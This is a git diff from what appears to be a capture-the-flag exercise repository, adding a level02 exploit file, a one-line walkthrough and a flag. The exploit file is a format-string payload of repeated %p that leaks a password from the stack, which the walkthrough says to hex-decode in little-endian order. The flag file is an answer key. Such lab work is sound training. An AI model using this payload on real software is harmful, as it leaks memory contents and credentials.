diff --git a/level02/Ressources/exploit.txt b/level02/Ressources/exploit.txt
new file mode 100644
index 0000000..98bf0da
--- /dev/null
+++ b/level02/Ressources/exploit.txt
@@ -0,0 +1 @@
+%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
diff --git a/level02/Ressources/walktrough.md b/level02/Ressources/walktrough.md
new file mode 100644
index 0000000..66b7a1d
--- /dev/null
+++ b/level02/Ressources/walktrough.md
@@ -0,0 +1 @@
+password is stored in the stack, print the stack with lots of %p, remove 0x to get a 80 characters string and hex to ascii (little endian conversion)
diff --git a/level02/flag b/level02/flag
new file mode 100644
index 0000000..e64482e
--- /dev/null
+++ b/level02/flag
@@ -0,0 +1 @@
+Hh74RPnuQ9sa5JAEXgNWCqz7sXGnh5J5M9KfPg3H
diff --git a/level03/Ressources/level03 b/level03/Ressources/level03
new file mode 100755
index 0000000..1970d25
Binary files /dev/null and b/level03/Ressources/level03 differ